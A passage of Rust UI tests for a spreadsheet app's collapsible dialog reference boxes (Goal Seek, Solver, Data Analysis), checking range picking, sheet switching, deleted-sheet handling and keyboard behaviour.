h.run_steps(4); +} + +fn field(h: &H, key: &str) -> String { + h.state().dialog.as_ref().and_then(|d| d.values.get(key).and_then(|v| v.as_str()).map(str::to_string)).unwrap_or_default() +} + +fn collapsed(h: &H) -> Option { + h.state().dialog.as_ref().and_then(|d| d.collapsed().map(str::to_string)) +} + +fn selection(h: &H) -> (usize, String) { + let d = h.state().session.active().unwrap(); + (d.wb.active_sheet(), d.selection.a1()) +} + +fn cell_pos(h: &H, cell: &str) -> egui::Pos2 { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + geo.cell_rect(sheet, CellRef::parse(cell).unwrap()).center() +} + +fn press(h: &mut H, pos: egui::Pos2, pressed: bool) { + h.input_mut().events.push(Event::PointerButton { pos, button: PointerButton::Primary, pressed, modifiers: Modifiers::NONE }); +} + +/// Presses on `from`, drags to `to` and releases, as selecting a range with the mouse. +fn drag(h: &mut H, from: &str, to: &str) { + let (a, b) = (cell_pos(h, from), cell_pos(h, to)); + h.input_mut().events.push(Event::PointerMoved(a)); + press(h, a, true); + h.run_steps(2); + h.input_mut().events.push(Event::PointerMoved((a + b.to_vec2()) / 2.0)); + h.run_steps(2); + h.input_mut().events.push(Event::PointerMoved(b)); + h.run_steps(2); + press(h, b, false); + h.run_steps(3); +} + +fn click_at(h: &mut H, pos: egui::Pos2) { + h.input_mut().events.push(Event::PointerMoved(pos)); + press(h, pos, true); + press(h, pos, false); + h.run_steps(3); +} + +fn key(h: &mut H, k: Key, m: Modifiers) { + h.input_mut().events.push(Event::Key { key: k, physical_key: None, pressed: true, repeat: false, modifiers: m }); + h.input_mut().events.push(Event::Key { key: k, physical_key: None, pressed: false, repeat: false, modifiers: m }); + h.run_steps(3); +} + +fn type_text(h: &mut H, t: &str) { + h.input_mut().events.push(Event::Text(t.into())); + h.run_steps(3); +} + +/// The Goal Seek window (the collapsed box is also named after the dialog). +fn dialog_rect(h: &H) -> egui::Rect { + h.get_by_role_and_label(egui::accesskit::Role::Window, "Goal Seek").rect() +} + +/// The Goal Seek dialog's text boxes, top to bottom: Set cell, To value, By changing cell. +fn dialog_boxes(h: &H) -> Vec { + let title = dialog_rect(h); + h.get_all_by_role(egui::accesskit::Role::TextInput).map(|n| n.rect()).filter(|r| title.contains(r.center())).collect() +} + +/// Clicks the collapse (or expand) button of the dialog's `n`th reference box. +fn click_button(h: &mut H, label: &str, n: usize) { + let rect = h.get_all_by_label(label).nth(n).map(|b| b.rect()).unwrap(); + click_at(h, rect.center()); +} + +#[test] +fn collapsing_shrinks_the_dialog_and_a_dragged_range_fills_the_box() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + assert_eq!(h.get_all_by_label("Collapse dialog").count(), 2, "Set cell and By changing cell are reference boxes"); + let full = dialog_rect(&h); + click_button(&mut h, "Collapse dialog", 1); + assert_eq!(collapsed(&h).as_deref(), Some("changing")); + assert!(h.query_by_label("To value:").is_none(), "only the reference box shows while collapsed"); + assert_eq!(h.get_all_by_label("Expand dialog").count(), 1); + assert_eq!(dialog_rect(&h).top(), full.top(), "the collapsed dialog keeps its place"); + + drag(&mut h, "C3", "D6"); + assert_eq!(field(&h, "changing"), "$C$3:$D$6"); + assert_eq!(field(&h, "set"), "B5", "only the box being picked into changes"); + + // The box has the keyboard back after the drag: typing replaces the reference. + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "B2"); + assert_eq!(field(&h, "changing"), "B2"); + + // Escape expands the dialog instead of closing it. + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_some()); + assert_eq!(collapsed(&h), None); + assert!(h.query_by_label("To value:").is_some()); + assert_eq!(dialog_rect(&h), full, "expanded, the dialog comes back where it was"); +} + +#[test] +fn enter_and_the_expand_button_restore_the_dialog_and_ok_runs_goal_seek() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "B2", "B2"); + assert_eq!(field(&h, "changing"), "$B$2"); + key(&mut h, Key::Enter, Modifiers::NONE); + assert_eq!(collapsed(&h), None, "Enter expands the dialog"); + assert!(h.state().dialog.is_some(), "Enter in the collapsed dialog does not press OK"); + + click_button(&mut h, "Collapse dialog", 0); + assert_eq!(collapsed(&h).as_deref(), Some("set")); + click_button(&mut h, "Expand dialog", 0); + assert_eq!(collapsed(&h), None); + + let to = dialog_boxes(&h)[1]; + click_at(&mut h, to.center()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "25"); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none()); + let b2 = h.state().session.active().unwrap().wb.active().unwrap().value(CellRef::parse("B2").unwrap()); + assert!((b2.as_f64().unwrap() - 7.0).abs() < 1e-6, "{b2:?}"); + assert_eq!(selection(&h), (0, "B5".into()), "the selection from before picking comes back"); +} + +#[test] +fn a_range_on_another_sheet_carries_the_sheet_name_and_cancel_returns_home() { + let mut s = workbook(); + s.execute("home.insertSheet", json!({"name": "Rates Table", "before": 1})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // The sheet tabs' "Next sheet" arrow, below the grid at the left. + let grid = h.state().grid.rect.unwrap(); + click_at(&mut h, egui::pos2(grid.left() + 44.0, grid.bottom() + 16.0)); + assert_eq!(selection(&h).0, 1, "the next sheet is active while picking"); + drag(&mut h, "A2", "A4"); + assert_eq!(field(&h, "changing"), "'Rates Table'!$A$2:$A$4"); + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(collapsed(&h), None); + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none(), "Escape in the expanded dialog cancels it"); + assert_eq!(selection(&h), (0, "B5".into()), "cancelling returns to the sheet and selection"); +} + +#[test] +fn switching_sheets_while_picking_keeps_a_typed_reference() { + let mut s = workbook(); + s.execute("home.insertSheet", json!({"name": "Rates Table", "before": 1})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "B2"); + assert_eq!(field(&h, "changing"), "B2"); + // The sheet tabs' "Next sheet" and "Previous sheet" arrows, below the grid at the left. + let grid = h.state().grid.rect.unwrap(); + click_at(&mut h, egui::pos2(grid.left() + 44.0, grid.bottom() + 16.0)); + assert_eq!(selection(&h).0, 1, "the next sheet is active while picking"); + assert_eq!(field(&h, "changing"), "B2", "changing sheets alone is not a pick"); + click_at(&mut h, egui::pos2(grid.left() + 20.0, grid.bottom() + 16.0)); + assert_eq!(selection(&h).0, 0, "back on the dialog's own sheet"); + assert_eq!(field(&h, "changing"), "B2", "coming back is not a pick either"); + click_at(&mut h, egui::pos2(grid.left() + 44.0, grid.bottom() + 16.0)); + drag(&mut h, "A2", "A4"); + assert_eq!(field(&h, "changing"), "'Rates Table'!$A$2:$A$4", "a selection on the other sheet still is"); +} + +#[test] +fn clicking_into_a_box_picks_into_it_and_another_field_stops_picking() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + let boxes = dialog_boxes(&h); + assert_eq!(boxes.len(), 3); + click_at(&mut h, boxes[2].center()); + let b2 = cell_pos(&h, "B2"); + click_at(&mut h, b2); + assert_eq!(field(&h, "changing"), "$B$2", "a click on the grid fills the box last clicked into"); + click_at(&mut h, boxes[1].center()); + let d9 = cell_pos(&h, "D9"); + click_at(&mut h, d9); + assert_eq!(field(&h, "changing"), "$B$2", "To value is not a reference box, so picking stopped"); + assert_eq!(field(&h, "set"), "B5"); +} + +#[test] +fn the_collapse_button_is_named_and_works_from_the_keyboard() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + h.get_all_by_label("Collapse dialog").nth(1).unwrap().focus(); + h.run_steps(2); + key(&mut h, Key::Space, Modifiers::NONE); + assert_eq!(collapsed(&h).as_deref(), Some("changing")); + h.get_by_label("Expand dialog").focus(); + h.run_steps(2); + key(&mut h, Key::Space, Modifiers::NONE); + assert_eq!(collapsed(&h), None); +} + +#[test] +fn data_analysis_picks_its_input_and_output_ranges() { + let mut h = harness(workbook()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + let buttons = h.get_all_by_label("Collapse dialog").count(); + assert_eq!(buttons, 2, "Input Range and Output Range are reference boxes"); + click_button(&mut h, "Collapse dialog", 0); + assert_eq!(collapsed(&h).as_deref(), Some("range")); + drag(&mut h, "B1", "B6"); + assert_eq!(field(&h, "range"), "$B$1:$B$6"); + key(&mut h, Key::Escape, Modifiers::NONE); + click_button(&mut h, "Collapse dialog", 1); + assert_eq!(collapsed(&h).as_deref(), Some("output")); + drag(&mut h, "D2", "D2"); + assert_eq!(field(&h, "output"), "$D$2"); + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(field(&h, "outputTo"), "range", "picking an output range chooses it"); +} + +#[test] +fn choosing_new_worksheet_ply_after_picking_an_output_range_sticks() { + let mut h = harness(workbook()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "D2", "D2"); + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(field(&h, "outputTo"), "range"); + + let ply = h.get_by_label("New Worksheet Ply:").rect(); + click_at(&mut h, ply.center()); + h.run_steps(3); + assert_eq!(field(&h, "outputTo"), "newSheet", "the radio choice is not overridden by the Output Range box"); + let labels = h.get_by_label("Labels in first row").rect(); + click_at(&mut h, labels.center()); + assert_eq!(field(&h, "outputTo"), "newSheet", "a checkbox click keeps the choice"); + + // Picking into Output Range ended with the radio choice: a later selection leaves it alone. + drag(&mut h, "F4", "F5"); + assert_eq!(field(&h, "output"), "$D$2"); + assert_eq!(field(&h, "outputTo"), "newSheet"); + + // Typing a range in the box chooses Output Range again. + let boxes: Vec = h + .get_all_by_role(egui::accesskit::Role::TextInput) + .filter(|n| n.rect().center().y > ply.top() - 40.0 && n.rect().center().y < ply.top()) + .map(|n| n.rect()) + .collect(); + assert_eq!(boxes.len(), 1, "the Output Range box, on the row above New Worksheet Ply"); + click_at(&mut h, boxes[0].center()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "H1"); + assert_eq!(field(&h, "output"), "H1"); + assert_eq!(field(&h, "outputTo"), "range"); +} + +#[test] +fn solver_picks_its_objective_variables_and_constraint_cells() { + let mut h = harness(workbook()); + h.state_mut().open_dialog("solver", json!({})); + h.run_steps(4); + assert_eq!(h.get_all_by_label("Collapse dialog").count(), 4, "objective, variables and both sides of a constraint"); + click_button(&mut h, "Collapse dialog", 1); + assert_eq!(collapsed(&h).as_deref(), Some("variables")); + drag(&mut h, "B2", "B3"); + assert_eq!(field(&h, "variables"), "$B$2:$B$3"); + key(&mut h, Key::Enter, Modifiers::NONE); + click_button(&mut h, "Collapse dialog", 2); + drag(&mut h, "D4", "D4"); + assert_eq!(field(&h, "newLhs"), "$D$4"); + assert_eq!(field(&h, "objective"), "B5"); +} + +#[test] +fn a_sheet_inserted_while_picking_keeps_references_and_the_way_home() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // A sheet inserted before the dialog's own sheet (from the ribbon, which stays usable) moves + // that sheet to index 1 and becomes the active sheet at index 0. + h.state_mut().session.execute("home.insertSheet", json!({"name": "Inputs", "before": 0})).unwrap(); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + drag(&mut h, "A2", "A3"); + assert_eq!(field(&h, "changing"), "Inputs!$A$2:$A$3", "a range on the new sheet carries its name"); + key(&mut h, Key::Escape, Modifiers::NONE); + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(&h), (1, "B5".into()), "cancelling returns to the dialog's own sheet, now at index 1"); +} + +#[test] +fn a_box_for_one_reference_takes_only_the_area_being_selected() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // Several areas, as Ctrl+click adds them: By changing cell takes one reference. + h.state_mut().session.execute("selection.set", json!({"range": "A1,C3:C4"})).unwrap(); + h.run_steps(3); + assert_eq!(field(&h, "changing"), "$C$3:$C$4", "only the area being selected, not a union"); + key(&mut h, Key::Escape, Modifiers::NONE); + key(&mut h, Key::Escape, Modifiers::NONE); + + // Solver's variable cells take several areas, as in Excel. + h.state_mut().open_dialog("solver", json!({})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 1); + assert_eq!(collapsed(&h).as_deref(), Some("variables")); + h.state_mut().session.execute("selection.set", json!({"range": "A1,C3:C4"})).unwrap(); + h.run_steps(3); + assert_eq!(field(&h, "variables"), "$A$1,$C$3:$C$4"); + key(&mut h, Key::Escape, Modifiers::NONE); + click_button(&mut h, "Collapse dialog", 0); + assert_eq!(collapsed(&h).as_deref(), Some("objective")); + h.state_mut().session.execute("selection.set", json!({"range": "B5,D7"})).unwrap(); + h.run_steps(3); + assert_eq!(field(&h, "objective"), "$D$7", "the objective is one cell"); +} + +#[test] +fn renaming_the_dialogs_sheet_while_picking_keeps_the_way_home() { + let mut s = workbook(); + s.execute("home.insertSheet", json!({"name": "Rates", "before": 1})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // The dialog's own sheet is renamed from the ribbon while the box picks. + h.state_mut().session.execute("sheet.rename", json!({"sheet": 0, "name": "Model"})).unwrap(); + h.run_steps(3); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "$C$3", "the renamed sheet is still the dialog's own: no sheet name"); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.run_steps(3); + drag(&mut h, "A2", "A2"); + assert_eq!(field(&h, "changing"), "Rates!$A$2"); + key(&mut h, Key::Escape, Modifiers::NONE); + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(&h), (0, "B5".into()), "cancelling returns to the renamed sheet and its selection"); +} + +/// A workbook whose first sheet (the dialog's own, `Sheet1`) is followed by `Rates`. +fn two_sheets() -> Session { + let mut s = workbook(); + s.execute("home.insertSheet", json!({"name": "Rates", "before": 1})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + s +} + +fn sheet_names(h: &H) -> Vec { + h.state().session.active().unwrap().wb.sheets.iter().map(|s| s.name.clone()).collect() +} + +#[test] +fn a_deleted_sheet_is_not_taken_for_one_inserted_in_its_place() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // The dialog's own sheet is deleted, and a new sheet then takes its place and its count. + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Fresh", "before": 0})).unwrap(); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Fresh", "Rates"]); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "Fresh!$C$3", "the new sheet is not the dialog's own: picks carry its name"); + + // OK is refused rather than running unqualified references against another sheet. + key(&mut h, Key::Escape, Modifiers::NONE); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "the dialog stays open"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); + let b2 = h.state().session.active().unwrap().wb.sheets[1].value(CellRef::parse("B2").unwrap()); + assert_eq!(b2.as_f64(), None, "Goal Seek changed nothing: {b2:?}"); + + // Cancel doesn't put the old selection onto the new sheet. + h.state_mut().message = None; + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(&h), (0, "C3".into()), "the selection on the new sheet is left alone"); +} + +#[test] +fn a_deleted_sheet_qualifies_picks_and_cancel_stays_put() { + let mut h = harness(two_sheets()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Rates"]); + drag(&mut h, "A2", "A3"); + assert_eq!(field(&h, "changing"), "Rates!$A$2:$A$3"); + key(&mut h, Key::Escape, Modifiers::NONE); + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + assert_eq!(selection(&h), (0, "A2:A3".into()), "nothing to go back to: the selection stays"); +} + +#[test] +fn data_analysis_refuses_ok_once_its_sheet_is_deleted() { + let mut h = harness(two_sheets()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + key(&mut h, Key::Escape, Modifiers::NONE); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "the dialog stays open"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); + assert_eq!(sheet_names(&h), ["Rates"], "no report sheet was added"); +} + +#[test] +fn ok_stays_refused_after_a_failed_ok_once_the_sheet_is_deleted() { + let mut h = harness(two_sheets()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + drag(&mut h, "B1", "B6"); + assert_eq!(field(&h, "range"), "$B$1:$B$6"); + key(&mut h, Key::Escape, Modifiers::NONE); + // An output range the command refuses: OK fails and the dialog stays open. + let d = h.state_mut().dialog.as_mut().unwrap(); + d.values.insert("outputTo".into(), json!("range")); + d.values.insert("output".into(), json!("not a reference")); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "the failed OK leaves the dialog open"); + assert!(h.state().message.is_some(), "and says why"); + h.state_mut().message = None; + + // The dialog's sheet is deleted; with a usable output range, OK must still be refused rather + // than run `$B$1:$B$6` against Rates. + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + h.state_mut().dialog.as_mut().unwrap().values.insert("output".into(), json!("Rates!$H$1")); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "the dialog stays open"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); + let h1 = h.state().session.active().unwrap().wb.sheets[0].value(CellRef::parse("H1").unwrap()); + assert!(h1.is_empty(), "no report was written on Rates: {h1:?}"); +} + +#[test] +fn a_second_ok_after_a_failed_one_runs_on_the_dialogs_sheet() { + let mut h = harness(two_sheets()); + h.state_mut().open_dialog("analysisToolPak", json!({"tool": "descriptive"})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 0); + drag(&mut h, "B1", "B6"); + key(&mut h, Key::Escape, Modifiers::NONE); + let d = h.state_mut().dialog.as_mut().unwrap(); + d.values.insert("outputTo".into(), json!("range")); + d.values.insert("output".into(), json!("not a reference")); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some()); + h.state_mut().message = None; + // The person looks at another sheet, then fixes the output range and presses OK again. + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.run_steps(3); + h.state_mut().dialog.as_mut().unwrap().values.insert("output".into(), json!("$H$1")); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none(), "{:?}", h.state().message); + let wb = &h.state().session.active().unwrap().wb; + assert!(!wb.sheets[0].value(CellRef::parse("H1").unwrap()).is_empty(), "the report is on the dialog's own sheet"); + assert!(wb.sheets[1].value(CellRef::parse("H1").unwrap()).is_empty(), "not on the sheet shown"); +} + +#[test] +fn solver_model_range_is_a_reference_box_until_its_area_is_hidden() { + let mut h = harness(workbook()); + h.state_mut().open_dialog("solver", json!({})); + h.run_steps(4); + h.get_by_label("Load/Save").click(); + h.run_steps(3); + assert_eq!(h.get_all_by_label("Collapse dialog").count(), 5, "Model Range is a reference box too"); + click_button(&mut h, "Collapse dialog", 4); + assert_eq!(collapsed(&h).as_deref(), Some("modelRange")); + drag(&mut h, "H1", "H3"); + assert_eq!(field(&h, "modelRange"), "$H$1:$H$3"); + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(collapsed(&h), None); + assert_eq!(field(&h, "modelRange"), "$H$1:$H$3", "expanding keeps the picked range"); + + // Hiding the Load/Save area ends picking into its box: a selection on the grid no longer + // changes a range that isn't shown. + h.get_by_label("Load/Save").click(); + h.run_steps(3); + assert!(h.query_by_label("Model Range:").is_none(), "the area is hidden"); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "modelRange"), "$H$1:$H$3"); +} + +#[test] +fn a_click_elsewhere_keeps_the_collapsed_box_picking() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // The Name Box takes the keyboard: the collapsed box still picks (expanded, another text + // field ends picking, since the person moved on to it). + let name_box = h.get_by_label("Name Box").rect(); + click_at(&mut h, name_box.center()); + assert_eq!(collapsed(&h).as_deref(), Some("changing"), "a click elsewhere doesn't expand the dialog"); + drag(&mut h, "C3", "D6"); + assert_eq!(field(&h, "changing"), "$C$3:$D$6", "the box still takes the selection"); + // The title bar and ribbon stay usable: Undo takes back the last edit (B5's formula) and + // puts the selection back where it was before that edit (A1, where `workbook()` entered it), + // which the box follows like any other selection; the dialog stays collapsed. + let undo = h.get_by_label("Undo").rect(); + click_at(&mut h, undo.center()); + assert_eq!(collapsed(&h).as_deref(), Some("changing")); + assert!(h.state().dialog.is_some()); + assert_eq!(selection(&h), (0, "A1".into())); + assert_eq!(field(&h, "changing"), "$A$1"); + drag(&mut h, "D2", "D2"); + assert_eq!(field(&h, "changing"), "$D$2"); + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(collapsed(&h), None, "Escape expands it"); + assert!(h.state().dialog.is_some()); +} + +#[test] +fn another_dialog_opened_while_picking_puts_the_selection_back() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "C3", "D6"); + assert_eq!(field(&h, "changing"), "$C$3:$D$6"); + assert_eq!(selection(&h), (0, "C3:D6".into())); + // A ribbon command opens another dialog while the box picks: the dialog it replaces is gone, + // and the sheet and selection from before picking come back, as they do when it is cancelled. + h.state_mut().open_dialog("goTo", json!({})); + h.run_steps(3); + assert_eq!(h.state().dialog.as_ref().map(|d| d.name.as_str()), Some("goTo")); + assert_eq!(selection(&h), (0, "B5".into())); +} + +#[test] +fn protect_sheet_opened_while_picking_on_a_protected_sheet_acts_on_the_dialogs_sheet() { + let mut s = two_sheets(); + // Rates is protected with a password; Sheet1, the dialog's sheet, is not. + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + s.execute("review.protectSheet", json!({"password": "rates"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.run_steps(3); + // Protect Sheet from the ribbon while the box picks on Rates: the dialog's sheet comes back + // first, and it is not protected, so Protect Sheet opens, not Unprotect Sheet for Rates. + h.state_mut().open_dialog("protectSheet", json!({})); + h.run_steps(3); + assert_eq!(h.state().dialog.as_ref().map(|d| d.name.as_str()), Some("protectSheet")); + assert_eq!(selection(&h), (0, "B5".into())); +} + +#[test] +fn protection_actions_refuse_a_deleted_dialog_home_without_unprotecting_the_picked_sheet() { + for action in ["protectSheet", "unprotectSheet"] { + let mut s = two_sheets(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + assert!(h.state().session.active().unwrap().wb.active().unwrap().is_protected()); + h.state_mut().open_dialog(action, json!({})); + h.run_steps(3); + let message = h.state().message.as_ref().map(|m| m.1.as_str()).unwrap_or(""); + assert!(message.contains("was deleted"), "{action}: {message}"); + assert_eq!(h.state().dialog.as_ref().map(|d| d.name.as_str()), Some("goalSeek")); + assert!(h.state().session.active().unwrap().wb.active().unwrap().is_protected(), "{action} must leave Rates protected"); + } +} + +#[test] +fn the_protect_sheet_label_follows_the_dialogs_sheet_while_picking_on_another() { + let mut s = two_sheets(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + s.execute("review.protectSheet", json!({"password": "rates"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + let mut h = harness(s); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.run_steps(3); + // Rates is shown and protected, but Protect Sheet acts on Sheet1, the dialog's unprotected + // sheet: the Review tab, the Format menu and the tab menu offer Protect Sheet, the action it + // takes (all three read this). + assert!(!h.state().active_sheet_protected()); + // Without a dialog the label follows the sheet shown. + key(&mut h, Key::Escape, Modifiers::NONE); + key(&mut h, Key::Escape, Modifiers::NONE); + assert!(h.state().dialog.is_none()); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.run_steps(3); + assert!(h.state().active_sheet_protected()); +} + +#[test] +fn arrow_keys_with_shift_select_a_range_into_the_collapsed_box() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + // Shift+arrow first: a plain-key match would take it as a move and lose the extension. + key(&mut h, Key::ArrowDown, Modifiers::SHIFT); + assert_eq!(selection(&h), (0, "B5:B6".into())); + assert_eq!(field(&h, "changing"), "$B$5:$B$6"); + key(&mut h, Key::ArrowRight, Modifiers::SHIFT); + assert_eq!(field(&h, "changing"), "$B$5:$C$6"); + key(&mut h, Key::ArrowUp, Modifiers::NONE); + assert_eq!(field(&h, "changing"), "$B$4", "an arrow without Shift moves the active cell"); + key(&mut h, Key::ArrowLeft, Modifiers::NONE); + assert_eq!(field(&h, "changing"), "$A$4"); + key(&mut h, Key::ArrowRight, Modifiers::NONE); + // Ctrl+arrow (Cmd on a Mac) jumps to the edge of the data: up from B4 (empty) to B2 (1). + key(&mut h, Key::ArrowUp, Modifiers::COMMAND); + assert_eq!(field(&h, "changing"), "$B$2"); + assert_eq!(collapsed(&h).as_deref(), Some("changing"), "the dialog stays collapsed"); + // The box keeps the keyboard: typing still replaces the reference. + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "B3"); + assert_eq!(field(&h, "changing"), "B3"); + // Expanded, the arrows edit the box (they move its caret), not the selection. + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(collapsed(&h), None); + let changing = dialog_boxes(&h)[2]; + click_at(&mut h, changing.center()); + let before = selection(&h); + key(&mut h, Key::ArrowDown, Modifiers::NONE); + key(&mut h, Key::ArrowLeft, Modifiers::SHIFT); + assert_eq!(selection(&h), before); + assert_eq!(field(&h, "changing"), "B3"); +} + +#[test] +fn f4_cycles_the_reference_between_absolute_and_relative() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "B2", "B2"); + assert_eq!(field(&h, "changing"), "$B$2"); + for expected in ["B$2", "$B2", "B2", "$B$2"] { + key(&mut h, Key::F4, Modifiers::NONE); + assert_eq!(field(&h, "changing"), expected); + } + assert_eq!(collapsed(&h).as_deref(), Some("changing"), "F4 doesn't expand the dialog"); + // Expanded, F4 still works in the focused box, on a typed range with a sheet name. + key(&mut h, Key::Escape, Modifiers::NONE); + let changing = dialog_boxes(&h)[2]; + click_at(&mut h, changing.center()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "'Rates Table'!A2:A4"); + key(&mut h, Key::F4, Modifiers::NONE); + assert_eq!(field(&h, "changing"), "'Rates Table'!$A$2:$A$4"); + // A field that is not a reference box leaves F4 alone. + let to = dialog_boxes(&h)[1]; + click_at(&mut h, to.center()); + key(&mut h, Key::A, Modifiers::COMMAND); + type_text(&mut h, "25"); + key(&mut h, Key::F4, Modifiers::NONE); + assert_eq!(field(&h, "to"), "25"); + assert_eq!(field(&h, "changing"), "'Rates Table'!$A$2:$A$4"); +} + +/// `workbook()` with a second sheet whose name needs quoting (a space and an apostrophe), holding +/// 1 in A2 and 1..6 in A1:A6, and a formula on the first sheet that reads its A2. +fn quoted_sheet() -> Session { + let mut s = workbook(); + s.execute("home.insertSheet", json!({"name": "O'Brien Rates", "before": 1})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + for (i, v) in (1..=6).enumerate() { + s.execute("cell.set", json!({"cell": format!("A{}", i + 1), "input": v.to_string()})).unwrap(); + } + s.execute("sheet.activate", json!({"sheet": 